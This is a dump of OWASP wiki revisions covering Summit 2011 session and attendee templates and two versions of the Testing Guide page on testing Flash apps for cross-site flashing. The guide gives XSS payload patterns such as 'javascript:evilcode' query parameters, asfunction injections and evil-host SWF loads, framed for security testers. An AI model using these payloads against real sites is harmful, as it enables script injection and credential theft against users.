| related_project_url_1 = http://www.owasp.org/index.php/Category:Summit_2011_Browser_Security_Track

| related_project_name2 = Google Group for the Browser Security Track
| related_project_url_2 = https://groups.google.com/group/owasp-summit-browsersec

| related_project_name3 =
| related_project_url_3 =

| related_project_name4 =
| related_project_url_4 =

| related_project_name5 =
| related_project_url_5 =

|-

| summit_session_objective_name1= '''Handle autofocus in a unified and secure way'''.<noinclude> Make sure SOP applies for autofocus usage in frame/iframe'd websites. Re-discuss necessity for (future) attributes like this.</noinclude>

| summit_session_objective_name2 = '''Discuss necessity and capability for the HTML5 form controls'''.<noinclude> Do we need a non-SOP formaction attribute and why? </noinclude>

| summit_session_objective_name3 = <noinclude>'''Goal I''':</noinclude> Initiate and create documentation and references for developers that address security issues. <noinclude>Html5sec.org is a start but impossible to continue or extend large scale without vendor help</noinclude>

| summit_session_objective_name4 = <noinclude>'''Goal II''':</noinclude>Discuss and heavily restrict SVG capabilities - especially when deployed in CSS backgrounds and <img> tags. <noinclude>Mainly Opera and Mozilla are addressed here.</noinclude>

| summit_session_objective_name5 = '''Long Term Goal(s)''': Provide a working and easy to use as well as vendor supported HTML5 compliant filter software such as HTMLPurifier. <noinclude>Browser vendors should participate in creating security software and filters - not undermine them as we could experience in the last decade.</noinclude>
|-

| working_session_date_and_time = Tuesday, 09 February Time: TBA

|-

| discussion_model = The working form will most probably be short presentations to frame the topic and then round table discussions. Depending on number of attendees we'll break into groups.

|-

| operational_resources = Projector, whiteboards, markers, Internet connectivity, power

|-

| working_session_additional_details = 

[[Image:Html5_mario_hackvertor.jpg‎‎]]

===Co-chair Mario Heiderich===
Mario Heiderich works as a researcher for the Ruhr-University in Bochum, Germany and currently focuses on HTML5, SVG security and security implications of the ES5 specification draft. Mario invoked the [http://html5sec.org/ HTML5 security cheat-sheet] and maintains the [http://php-ids.org/ PHPIDS filter rules]. In his spare time he delivers trainings and security consultancy for larger German and international companies. He is also one of the co-authors of [http://www.amazon.com/Web-Application-Obfuscation-WAFs-Evasion-Filters-alert/dp/1597496049 Web Application Obfuscation: '-/WAFs..Evasion..Filters//alert(/Obfuscation/)-'] – a book on how an attacker would bypass different types of security controls including IDS/IPS.

===Co-chair Gareth Heyes===
Gareth "Gaz" Heyes calls himself Chief Conspiracy theorist and is affiliated with Microsoft. He is the designer and developer behind [http://www.owasp.org/index.php/OWASP_JavaScript_Sandboxes#tab=JSReg JSReg] – a Javascript sandbox which converts code using regular expressions; [http://www.owasp.org/index.php/OWASP_JavaScript_Sandboxes#tab=HTMLReg HTMLReg] & [http://www.owasp.org/index.php/OWASP_JavaScript_Sandboxes#tab=CSSReg CSSReg] – converters of malicious HTML/CSS into a safe form of HTML. He is also one of the co-authors of [http://www.amazon.com/Web-Application-Obfuscation-WAFs-Evasion-Filters-alert/dp/1597496049 Web Application Obfuscation: '-/WAFs..Evasion..Filters//alert(/Obfuscation/)-'] – a book on how an attacker would bypass different types of security controls including IDS/IPS.

|-

|summit_session_deliverable_name1 = Browser Security Report
|summit_session_deliverable_url_1 =

|summit_session_deliverable_name2 = Browser Security Priority Report
|summit_session_deliverable_url_2 =

|summit_session_deliverable_name3 =
|summit_session_deliverable_url_3 =

|summit_session_deliverable_name4 =
|summit_session_deliverable_url_4 =

|summit_session_deliverable_name5 =
|summit_session_deliverable_url_5 =

|-

| summit_session_leader_name1 = Mario Heiderich
| summit_session_leader_email1 =

| summit_session_leader_name2 = Gareth Heyes
| summit_session_leader_email2 =

| summit_session_leader_name3 =
| summit_session_leader_email3 =

|-

| operational_leader_name1 = John Wilander
| operational_leader_email1 = john.wilander@owasp.org

|-
| meeting_notes =
|-
| session_name_mask =  Session002
| session_home_page =  Summit_2011_Working_Sessions/Session002
}}
</includeonly>

Summit 2011 Working Sessions/Session001

2011-01-25T09:44:29Z

Wisec:

{{Template:<includeonly>{{{1}}}</includeonly><noinclude>Summit 2011 Working Sessions test tab</noinclude>
|-

| summit_session_attendee_name1 = Email John Wilander if you are unable to edit the Wiki and would like to sign up!
| summit_session_attendee_email1 = john.wilander@owasp.org
| summit_session_attendee_company1=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed1=

| summit_session_attendee_name2 = Michael Coates
| summit_session_attendee_email2 =
| summit_session_attendee_company2=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed2=

| summit_session_attendee_name3 = Colin Watson
| summit_session_attendee_email3 =
| summit_session_attendee_company3=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed3=

| summit_session_attendee_name4 = Stefano Di Paola
| summit_session_attendee_email4 =
| summit_session_attendee_company4=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed4=

| summit_session_attendee_name5 =
| summit_session_attendee_email5 =
| summit_session_attendee_company5=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed5=

| summit_session_attendee_name6 =
| summit_session_attendee_email6 =
| summit_session_attendee_company6=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed6=

| summit_session_attendee_name7 =
| summit_session_attendee_email7 =
| summit_session_attendee_company7=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed7=

| summit_session_attendee_name8 =
| summit_session_attendee_email8 =
| summit_session_attendee_company8=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed8=

| summit_session_attendee_name9 =
| summit_session_attendee_email9 =
| summit_session_attendee_company9=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed9=

| summit_session_attendee_name10 =
| summit_session_attendee_email10 =
| summit_session_attendee_company10=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed10=

| summit_session_attendee_name11 =
| summit_session_attendee_email11 =
| summit_session_attendee_company11=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed11=

| summit_session_attendee_name12 =
| summit_session_attendee_email12 =
| summit_session_attendee_company12=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed12=

| summit_session_attendee_name13 =
| summit_session_attendee_email13 =
| summit_session_attendee_company13=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed13=

| summit_session_attendee_name14 =
| summit_session_attendee_email14 =
| summit_session_attendee_company14=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed14=

| summit_session_attendee_name15 =
| summit_session_attendee_email15 =
| summit_session_attendee_company15=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed15=

| summit_session_attendee_name16 =
| summit_session_attendee_email16 =
| summit_session_attendee_company16=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed16=

| summit_session_attendee_name17 =
| summit_session_attendee_email17 =
| summit_session_attendee_company17=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed17=

| summit_session_attendee_name18 =
| summit_session_attendee_email18 =
| summit_session_attendee_company18=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed18=

| summit_session_attendee_name19 =
| summit_session_attendee_email19 =
| summit_session_attendee_company19=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed19=

| summit_session_attendee_name20 =
| summit_session_attendee_email20 =
| summit_session_attendee_company20=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed20=

|-
| summit_track_logo = [[Image:T._browser_security.jpg]]
| summit_ws_logo = [[Image:WS._browser_security.jpg]]
| summit_session_name = DOM Sandboxing
| summit_session_url = http://www.owasp.org/index.php/Summit_2011_Working_Sessions/Session001
| mailing_list = https://groups.google.com/group/owasp-summit-browsersec
|-

| short_working_session_description= '''Virtualization and Sandboxing for Secure Multi-Domain Web Apps'''
|-

| related_project_name1 = Browser Security Track - main page
| related_project_url_1 = http://www.owasp.org/index.php/Category:Summit_2011_Browser_Security_Track

| related_project_name2 = Google Group for the Browser Security Track
| related_project_url_2 = https://groups.google.com/group/owasp-summit-browsersec

| related_project_name3 =
| related_project_url_3 =

| related_project_name4 =
| related_project_url_4 =

| related_project_name5 =
| related_project_url_5 =

|-

| summit_session_objective_name1= '''Attenuated versions of existing apis to sandboxed code'''. <noinclude>How should browsers introduce new apis into the sandbox or allow the sandbox to provide attenuated versions of existing apis to sandboxed code? For example, lets say the sandbox wants to provide an attenuated "alert" function to sandboxed code which does something slightly different than the real "alert". What kind of apis could the browser provide to safely allow such extensions/apis? Do these need to be standardized such that different sandbox vendors can interoperate.</noinclude>

| summit_session_objective_name2 = '''Client side sandboxed apps maintaining state and authentication'''.<noinclude> For example if a user is created in a sandboxed app how is it determined what that user can do?</noinclude>

| summit_session_objective_name3 = '''Create a standard for modifying a sandboxed environment'''

| summit_session_objective_name4 = '''Deprecate and discourage standards''' which ambiently or undeniably pass credentials.

| summit_session_objective_name5 = '''Create a standard for authentication within a sandboxed environment''' (maybe interfacing with existing auth without passing creds like 0Auth works)

|-

| working_session_date_and_time = Tuesday, 09 February Time: TBA

|-

| discussion_model = The working form will most probably be short presentations to frame the topic and then round table discussions. Depending on number of attendees we'll break into groups.

|-

| operational_resources = Projector, whiteboards, markers, Internet connectivity, power

|-

| working_session_additional_details = 
[[Image:JS_DOM_Box_Jasvir_Gaz.jpg]]

===Co-chair Dr Jasvir Nagra===
Jasvir Nagra is a researcher and software engineer at Google. He is the designer of [http://code.google.com/p/google-caja/ Caja] - a secure subset of HTML, CSS and JavaScript; co-author of [http://www.amazon.com/Surreptitious-Software-Obfuscation-Watermarking-Tamperproofing/dp/0321549252 Surreptitious Software] - a book on obfuscation, software watermarking and tamper-proofing, contributer to [http://shindig.apache.org/ Shindig] - the reference implementation of OpenSocial.

===Co-chair Gareth Heyes===
Gareth "Gaz" Heyes calls himself Chief Conspiracy theorist and is affiliated with Microsoft. He is the designer and developer behind [http://www.owasp.org/index.php/OWASP_JavaScript_Sandboxes#tab=JSReg JSReg] – a Javascript sandbox which converts code using regular expressions; [http://www.owasp.org/index.php/OWASP_JavaScript_Sandboxes#tab=HTMLReg HTMLReg] & [http://www.owasp.org/index.php/OWASP_JavaScript_Sandboxes#tab=CSSReg CSSReg] – converters of malicious HTML/CSS into a safe form of HTML. He is also one of the co-authors of [http://www.amazon.com/Web-Application-Obfuscation-WAFs-Evasion-Filters-alert/dp/1597496049 Web Application Obfuscation: '-/WAFs..Evasion..Filters//alert(/Obfuscation/)-'] – a book on how an attacker would bypass different types of security controls including IDS/IPS.

|-

|summit_session_deliverable_name1 = Browser Security Report
|summit_session_deliverable_url_1 =

|summit_session_deliverable_name2 = Browser Security Priority List
|summit_session_deliverable_url_2 =

|summit_session_deliverable_name3 =
|summit_session_deliverable_url_3 =

|summit_session_deliverable_name4 =
|summit_session_deliverable_url_4 =

|summit_session_deliverable_name5 =
|summit_session_deliverable_url_5 =

|-

| summit_session_leader_name1 = Dr. Jasvir Nagra
| summit_session_leader_email1 =

| summit_session_leader_name2 = Gareth Heyes
| summit_session_leader_email2 =

| summit_session_leader_name3 =
| summit_session_leader_email3 =

|-

| operational_leader_name1 = John Wilander
| operational_leader_email1 = john.wilander@owasp.org

|-
| meeting_notes =
|-
| session_name_mask =  Session001
| session_home_page =  Summit_2011_Working_Sessions/Session001
}}
</includeonly>

Summit 2011 Working Sessions/Session056

2011-01-25T09:41:45Z

Wisec:

{{Template:<includeonly>{{{1}}}</includeonly><noinclude>Summit 2011 Working Sessions test tab</noinclude>
|-

| summit_session_attendee_name1 = Stefano Di Paola
| summit_session_attendee_email1 = stefano@owasp.org
| summit_session_attendee_company1= Minded Security
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed1=

| summit_session_attendee_name2 =
| summit_session_attendee_email2 =
| summit_session_attendee_company2=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed2=

| summit_session_attendee_name3 =
| summit_session_attendee_email3 =
| summit_session_attendee_company3=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed3=

| summit_session_attendee_name4 =
| summit_session_attendee_email4 =
| summit_session_attendee_company4=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed4=

| summit_session_attendee_name5 =
| summit_session_attendee_email5 =
| summit_session_attendee_company5=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed5=

| summit_session_attendee_name6 =
| summit_session_attendee_email6 =
| summit_session_attendee_company6=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed6=

| summit_session_attendee_name7 =
| summit_session_attendee_email7 =
| summit_session_attendee_company7=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed7=

| summit_session_attendee_name8 =
| summit_session_attendee_email8 =
| summit_session_attendee_company8=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed8=

| summit_session_attendee_name9 =
| summit_session_attendee_email9 =
| summit_session_attendee_company9=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed9=

| summit_session_attendee_name10 =
| summit_session_attendee_email10 =
| summit_session_attendee_company10=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed10=

| summit_session_attendee_name11 =
| summit_session_attendee_email11 =
| summit_session_attendee_company11=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed11=

| summit_session_attendee_name12 =
| summit_session_attendee_email12 =
| summit_session_attendee_company12=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed12=

| summit_session_attendee_name13 =
| summit_session_attendee_email13 =
| summit_session_attendee_company13=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed13=

| summit_session_attendee_name14 =
| summit_session_attendee_email14 =
| summit_session_attendee_company14=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed14=

| summit_session_attendee_name15 =
| summit_session_attendee_email15 =
| summit_session_attendee_company15=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed15=

| summit_session_attendee_name16 =
| summit_session_attendee_email16 =
| summit_session_attendee_company16=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed16=

| summit_session_attendee_name17 =
| summit_session_attendee_email17 =
| summit_session_attendee_company17=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed17=

| summit_session_attendee_name18 =
| summit_session_attendee_email18 =
| summit_session_attendee_company18=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed18=

| summit_session_attendee_name19 =
| summit_session_attendee_email19 =
| summit_session_attendee_company19=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed19=

| summit_session_attendee_name20 =
| summit_session_attendee_email20 =
| summit_session_attendee_company20=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed20=

|-
| summit_track_logo = [[Image:T._metrics.jpg]]
| summit_ws_logo = [[Image:WS._metrics.jpg]]
| summit_session_name = Tools Interoperability (Data Instrumentation)
| summit_session_url = http://www.owasp.org/index.php/Summit_2011_Working_Sessions/Session056
| mailing_list =
|-

| short_working_session_description=

|-

| related_project_name1 =
| related_project_url_1 =

| related_project_name2 =
| related_project_url_2 =

| related_project_name3 =
| related_project_url_3 =

| related_project_name4 =
| related_project_url_4 =

| related_project_name5 =
| related_project_url_5 =

|-

| summit_session_objective_name1=

| summit_session_objective_name2 =

| summit_session_objective_name3 =

| summit_session_objective_name4 =

| summit_session_objective_name5 =

|-

| working_session_date_and_time =

|-

| discussion_model = participants and attendees

|-

| operational_resources = Projector, whiteboards, markers, Internet connectivity, power

|-

| working_session_additional_details =

|-

|summit_session_deliverable_name1 =
A standard schema for describing application security risks of all types, with a place for all relevant information – whether derived statically, dynamically, manually, or architecturally.
|summit_session_deliverable_url_1 = http://www.owasp.org/index.php/Summit_2011_Working_Sessions/Session056/Deliverable_1

|summit_session_deliverable_name2 =
|summit_session_deliverable_url_2 =

|summit_session_deliverable_name3 =
|summit_session_deliverable_url_3 =

|summit_session_deliverable_name4 =
|summit_session_deliverable_url_4 =

|summit_session_deliverable_name5 =
|summit_session_deliverable_url_5 =

|-

| summit_session_leader_name1 = Dinis Cruz
| summit_session_leader_email1 = dinis.cruz@owasp.org

| summit_session_leader_name2 =
| summit_session_leader_email2 =

| summit_session_leader_name3 =
| summit_session_leader_email3 =

|-

| operational_leader_name1 =
| operational_leader_email1 =

|-

| meeting_notes =

|-
| session_name_mask =  Session056
| session_home_page =  Summit_2011_Working_Sessions/Session056
}}

Summit 2011 Attendee/Attendee075

2011-01-06T09:30:51Z

Wisec:

{{Template:<includeonly>{{{1}}}</includeonly><noinclude>OWASP 2011 Global Summit Attendee Tab</noinclude>
|-
| summit_attendee_name1 = Stefano Di Paola
| summit_attendee_email1 = stefano@owasp.org
| summit_attendee_wiki_username1 = Wisec
|-
| summit_attendee_company = Minded Security
|-
| Project Leadership (less than 6 months old) =
| Project Leadership (more than 6 months old) = SWFIntruder, Former Flash Security Project
| Release Leadership (less than 6 months old) =
| Release Leadership (more than 6 months old) = SWFIntruder
| Project Contribution (less than 6 months old) =
| Project Contribution (more than 6 months old) = OWASP Testing Guide
| Release Contribution (less than 6 months old) =
| Release Contribution (more than 6 months old) =
| Committee Membership =
| Chapter Co-Leadership =
| Conference Co-Leadership =
|-
| summit_attendee_current_owasp_involvement_name1 =
| summit_attendee_current_owasp_involvement_url_1 =
| summit_attendee_current_owasp_involvement_name2 =
| summit_attendee_current_owasp_involvement_url_2 =
| summit_attendee_current_owasp_involvement_name3 =
| summit_attendee_current_owasp_involvement_url_3 =
| summit_attendee_current_owasp_involvement_name4 =
| summit_attendee_current_owasp_involvement_url_4 =
| summit_attendee_current_owasp_involvement_name5 =
| summit_attendee_current_owasp_involvement_url_5 =
|-
| summit_attendee_reason_for_summit_participation_name1 = XSS Sessions
| summit_attendee_reason_for_summit_participation_url_1 =
| notes_reason_for_participating_issues_to_be_discussed_1 =
| summit_attendee_reason_for_summit_participation_name2 = Browser Security Sessions
| summit_attendee_reason_for_summit_participation_url_2 =
| notes_reason_for_participating_issues_to_be_discussed_2 =
| summit_attendee_reason_for_summit_participation_name3 =
| summit_attendee_reason_for_summit_participation_url_3 =
| notes_reason_for_participating_issues_to_be_discussed_3 =
| summit_attendee_reason_for_summit_participation_name4 =
| summit_attendee_reason_for_summit_participation_url_4 =
| notes_reason_for_participating_issues_to_be_discussed_4 =
| summit_attendee_reason_for_summit_participation_name5 =
| summit_attendee_reason_for_summit_participation_url_5 =
| notes_reason_for_participating_issues_to_be_discussed_5 =
|-
| summit_attendee_owasp_sponsor =
|-
| summit_attendee_summit_time_paid_by_name1 =
| summit_attendee_summit_time_paid_by_url_1 =
| summit_attendee_summit_time_paid_by_name2 =
| summit_attendee_summit_time_paid_by_url_2 =
|-
| summit_attendee_summit_expenses_paid_by_name1 =
| summit_attendee_summit_expenses_paid_by_url_1 =
| summit_attendee_summit_expenses_paid_by_name2 =
| summit_attendee_summit_expenses_paid_by_url_2 =
|-
| reason_for_sponsorship = Active Member, Owasp Testing Guide Contributor, SWFIntruder Lead, browser security contribution
|-
| status =
|-
| letter sent to sponsor =
|-
| notes for Kate =
|-
| attendee_name_mask =  Attendee075
| attendee_home_page =  Summit_2011_Attendee/Attendee075
}}

Testing for Cross site flashing (OTG-CLIENT-008)

2008-09-08T13:10:18Z

Wisec: /* Cross Site Flashing */

{{Template:OWASP Testing Guide v3}}

== Brief Summary ==
 
ActionScript is the language, based on ECMAScript, used by Flash application when dealing with
interactive needs.
ActionScript, like every other language, has some implementation pattern which could lead to
security issues.
 
In particular, since Flash application are often embedded in browsers, vulnerabilities like DOM based Cross Site Scripting could be present in flawed Flash applications.
 

== Description of the Issue ==
 
Since the first publication of "Testing Flash Applications" [1], new versions of Flash player
were released in order to mitigate some of the attacks which will be described.
Nevertheless some issue still remains exploitable because it strongly depends on developer unsecure
programming practices.
 

== Gray Box testing and example ==

=== Decompilation ===

Since SWF files are interpreted by a virtual machine embedded in the player itself,
they can be potentially decompiled and analysed.
The most known and free ActionScript 2.0 decompiler is flare.

To decompile a swf file with flare just type:

$ flare hello.swf

it will result in a new file called hello.flr.

Decompilation helps testers in the process of testing because it
moves black box to white box.

There's no free decompiler for ActionScript 3.0 at the moment.

=== Undefined Variables ===

On actionscript 2 entry points are retrieved by looking at every undefined attribute
beloging to _root and _global objects, since Actionscript 2 behaves as every member
belonging to _root or _global objects were instantiable by
url querystring parameters. That means that if an attribute like:

_root.varname

results "undefined" at some point of code flow, it could be overwritten by setting

http://victim/file.swf?varname=value

Example:
<pre>
movieClip 328 __Packages.Locale {

#initclip
if (!_global.Locale) {
var v1 = function (on_load) {
var v5 = new XML();
var v6 = this;
v5.onLoad = function (success) {
if (success) {
trace('Locale loaded xml');
var v3 = this.xliff.file.body.$trans_unit;
var v2 = 0;
while (v2 < v3.length) {
Locale.strings[v3[v2]._resname] = v3[v2].source.__text;
++v2;
}
on_load();
} else {}
};
if (_root.language != undefined) {
Locale.DEFAULT_LANG = _root.language;
}
v5.load(Locale.DEFAULT_LANG + '/player_' +
Locale.DEFAULT_LANG + '.xml');
};

</pre>

Could be attacked by requesting:

http://victim/file.swf?language=http://evil

=== Unsafe Methods ===

When an entry point is identified the data it represents could be used by unsafe methods.
If the data is not filtered/validated using the right regexp it could lead to some security issue.

Unsafe Methods since version r47 are:
<pre>
loadVariables()
loadMovie()
getURL()
loadMovie()
loadMovieNum()
FScrollPane.loadScrollContent()
LoadVars.load
LoadVars.send
XML.load ( 'url' )
LoadVars.load ( 'url' )
Sound.loadSound( 'url' , isStreaming );
NetStream.play( 'url' );

flash.external.ExternalInterface.call(_root.callback)

htmlText
</pre>

=== The Test ===

In order to exploit a vulnerability the swf file should be hosted on the victim host, and
the techniques of reflected Xss must be used.
That is forcing the browser to load a pure swf file directly in the location bar
( by redirection or social engineering) or by loading it through an iframe from an evil page:

<iframe src='http://victim/path/to/file.swf'></iframe>

This is because in this situation the browser will self generate a Html page as if it were hosted
by the victim host.

=== Xss ===

'''GetURL:'''

GetURL Function lets the movie to load a URI into Browser's Window.
So if an undefined variable is used as first argument for getURL:

getURL(_root.URI,'_targetFrame');

This means it's possible to call javascript in the same domain where the movie is hosted by
requesting:
<pre>
http://victim/file.swf?URI=javascript:evilcode

getURL('javascript:evilcode','_self');
</pre>

The same when only some part of getURL is controlled:
<pre>
Dom Injection with Flash javascript injection

getUrl('javascript:function('+_root.arg+'))
</pre>

'''asfunction:'''

"You can use the special asfunction protocol to cause
the link to execute an ActionScript function in a SWF file
instead of opening a URL..." ( Adobe.com )

Until release r48 of Flash player asfunction could be used on every method which has a url
as argument.

This means that a tester could try to inject:

asfunction:getURL,javascript:evilcode

in every unsafe method like:

loadMovie(_root.URL)

by requesting:

http://victim/file.swf?URL=asfunction:getURL,javascript:evilcode

'''ExternalInterface:'''

ExternalInterface.call is a static method introduced by adobe to improve player/browser interaction.

From a security point of view it could be abused when part of its argument could be controlled:

flash.external.ExternalInterface.call(_root.callback);

the attack pattern for this kind of flaw should be something like the following:
eval(evilcode)

since the internal javascript which is executed by the browser will be something similar to:

eval('try { __flash__toXML('+__root.callback+') ; } catch (e) { "<undefined/>"; }')

=== Html Injection ===

TextField Objects can render minimal Html by setting:

tf.html = true
tf.htmlText = '<tag>text</tag>'

So if some part of text could be controlled by the tester, an a tag or a img tag could be
injected resulting in modifying the GUI or Xss the browser.

Some Attack Example with A Tag:

* Direct XSS: <a href='javascript:alert(123)' >

* Call AS function: <a href='asfunction:function,arg' >

* Call Swf public functions:
<a href='asfunction:_root.obj.function, arg'>

* Call Native Static AS Function:
<a href='asfunction:System.Security.allowDomain,evilhost' >

Img tag could be used as well:

* <img src='http://evil/evil.swf' >
* <img src='javascript:evilcode//.swf' > (.swf is necessary to bypass flash player internal filter)

Note: since release 124 of Flash player Xss is no more exploitable, but GUI modification could still
be accomplished.

=== Cross Site Flashing ===

Cross Site Flashing (XSF) is a vulnerability which has a similar impact than with Xss.

XSF Occurs when from different domains:

* One Movie loads another Movie with loadMovie* functions or other hacks and has access to the same sandbox or part of it
* XSF could also occurs when an HTML page uses JavaScript to command a Macromedia Flash movie, for example, by calling:
** GetVariable: access to flash public and static object from javascript as a string.
** SetVariable: set a static or public flash object to a new string value from javascript.
* Unexpected Browser to swf communication could result in stealing data from swf application.

It could be perfomed by forcing a flawed swf to load an external evil flash file.

This attack could result in Xss or in the modification of the GUI in order to fool a user to
insert credentials on a fake flash form.

XSF could be used in presence of Flash Html Injection or external swf files when loadMovie*
methods are used.

=== Attacks and Flash Player Version ===

Since May 2007 three new versions of Flash player were released by Adobe.
Every new version restricts some of the attacks previously described.

<pre>
| Attack | asfunction | ExternalInterface | GetURL | Html Injection |
| Player Version |
| v9.0 r47/48 | Yes | Yes | Yes | Yes |
| v9.0 r115 | No | Yes | Yes | Yes |
| v9.0 r124 | No | Yes | Yes | Partially |
</pre>

'''Result Expected:''' 

Cross Site Scripting and Cross Site Flashing are the expected results on a flawed SWF file.

== References ==
'''Whitepapers''' 
* Testing Flash Applications: A new attack vector for XSS and XSFlashing: http://www.owasp.org/images/8/8c/OWASPAppSec2007Milan_TestingFlashApplications.ppt

* Finding Vulnerabilities in Flash Applications: http://www.owasp.org/images/d/d8/OWASP-WASCAppSec2007SanJose_FindingVulnsinFlashApps.ppt

* Adobe Security: http://www.adobe.com/devnet/flashplayer/articles/flash_player9_security_update.html

* Securing SWF Applications: http://www.adobe.com/devnet/flashplayer/articles/secure_swf_apps.html

* The Flash Player Development Center Security Section: http://www.adobe.com/devnet/flashplayer/security.html

* The Flash Player 9.0 Security Whitepaper: http://www.adobe.com/devnet/flashplayer/articles/flash_player_9_security.pdf

'''Tools''' 

* SWFIntruder: https://www.owasp.org/index.php/Category:SWFIntruder

* Decompiler – Flare: http://www.nowrap.de/flare.html

* Compiler – MTASC: <http://www.mtasc.org/>

* Disassembler – Flasm: <http://flasm.sourceforge.net/>

* Swfmill – Convert Swf to XML and vice versa: <http://swfmill.org/>

* Debugger Version of Flash Plugin/Player: <http://www.adobe.com/support/flash/downloads.html

Testing for Cross site flashing (OTG-CLIENT-008)

2008-09-08T13:06:29Z

Wisec: /* Cross Site Flashing */

{{Template:OWASP Testing Guide v3}}

== Brief Summary ==
 
ActionScript is the language, based on ECMAScript, used by Flash application when dealing with
interactive needs.
ActionScript, like every other language, has some implementation pattern which could lead to
security issues.
 
In particular, since Flash application are often embedded in browsers, vulnerabilities like DOM based Cross Site Scripting could be present in flawed Flash applications.
 

== Description of the Issue ==
 
Since the first publication of "Testing Flash Applications" [1], new versions of Flash player
were released in order to mitigate some of the attacks which will be described.
Nevertheless some issue still remains exploitable because it strongly depends on developer unsecure
programming practices.
 

== Gray Box testing and example ==

=== Decompilation ===

Since SWF files are interpreted by a virtual machine embedded in the player itself,
they can be potentially decompiled and analysed.
The most known and free ActionScript 2.0 decompiler is flare.

To decompile a swf file with flare just type:

$ flare hello.swf

it will result in a new file called hello.flr.

Decompilation helps testers in the process of testing because it
moves black box to white box.

There's no free decompiler for ActionScript 3.0 at the moment.

=== Undefined Variables ===

On actionscript 2 entry points are retrieved by looking at every undefined attribute
beloging to _root and _global objects, since Actionscript 2 behaves as every member
belonging to _root or _global objects were instantiable by
url querystring parameters. That means that if an attribute like:

_root.varname

results "undefined" at some point of code flow, it could be overwritten by setting

http://victim/file.swf?varname=value

Example:
<pre>
movieClip 328 __Packages.Locale {

#initclip
if (!_global.Locale) {
var v1 = function (on_load) {
var v5 = new XML();
var v6 = this;
v5.onLoad = function (success) {
if (success) {
trace('Locale loaded xml');
var v3 = this.xliff.file.body.$trans_unit;
var v2 = 0;
while (v2 < v3.length) {
Locale.strings[v3[v2]._resname] = v3[v2].source.__text;
++v2;
}
on_load();
} else {}
};
if (_root.language != undefined) {
Locale.DEFAULT_LANG = _root.language;
}
v5.load(Locale.DEFAULT_LANG + '/player_' +
Locale.DEFAULT_LANG + '.xml');
};

</pre>

Could be attacked by requesting:

http://victim/file.swf?language=http://evil

=== Unsafe Methods ===

When an entry point is identified the data it represents could be used by unsafe methods.
If the data is not filtered/validated using the right regexp it could lead to some security issue.

Unsafe Methods since version r47 are:
<pre>
loadVariables()
loadMovie()
getURL()
loadMovie()
loadMovieNum()
FScrollPane.loadScrollContent()
LoadVars.load
LoadVars.send
XML.load ( 'url' )
LoadVars.load ( 'url' )
Sound.loadSound( 'url' , isStreaming );
NetStream.play( 'url' );

flash.external.ExternalInterface.call(_root.callback)

htmlText
</pre>

=== The Test ===

In order to exploit a vulnerability the swf file should be hosted on the victim host, and
the techniques of reflected Xss must be used.
That is forcing the browser to load a pure swf file directly in the location bar
( by redirection or social engineering) or by loading it through an iframe from an evil page:

<iframe src='http://victim/path/to/file.swf'></iframe>

This is because in this situation the browser will self generate a Html page as if it were hosted
by the victim host.

=== Xss ===

'''GetURL:'''

GetURL Function lets the movie to load a URI into Browser's Window.
So if an undefined variable is used as first argument for getURL:

getURL(_root.URI,'_targetFrame');

This means it's possible to call javascript in the same domain where the movie is hosted by
requesting:
<pre>
http://victim/file.swf?URI=javascript:evilcode

getURL('javascript:evilcode','_self');
</pre>

The same when only some part of getURL is controlled:
<pre>
Dom Injection with Flash javascript injection

getUrl('javascript:function('+_root.arg+'))
</pre>

'''asfunction:'''

"You can use the special asfunction protocol to cause
the link to execute an ActionScript function in a SWF file
instead of opening a URL..." ( Adobe.com )

Until release r48 of Flash player asfunction could be used on every method which has a url
as argument.

This means that a tester could try to inject:

asfunction:getURL,javascript:evilcode

in every unsafe method like:

loadMovie(_root.URL)

by requesting:

http://victim/file.swf?URL=asfunction:getURL,javascript:evilcode

'''ExternalInterface:'''

ExternalInterface.call is a static method introduced by adobe to improve player/browser interaction.

From a security point of view it could be abused when part of its argument could be controlled:

flash.external.ExternalInterface.call(_root.callback);

the attack pattern for this kind of flaw should be something like the following:
eval(evilcode)

since the internal javascript which is executed by the browser will be something similar to:

eval('try { __flash__toXML('+__root.callback+') ; } catch (e) { "<undefined/>"; }')

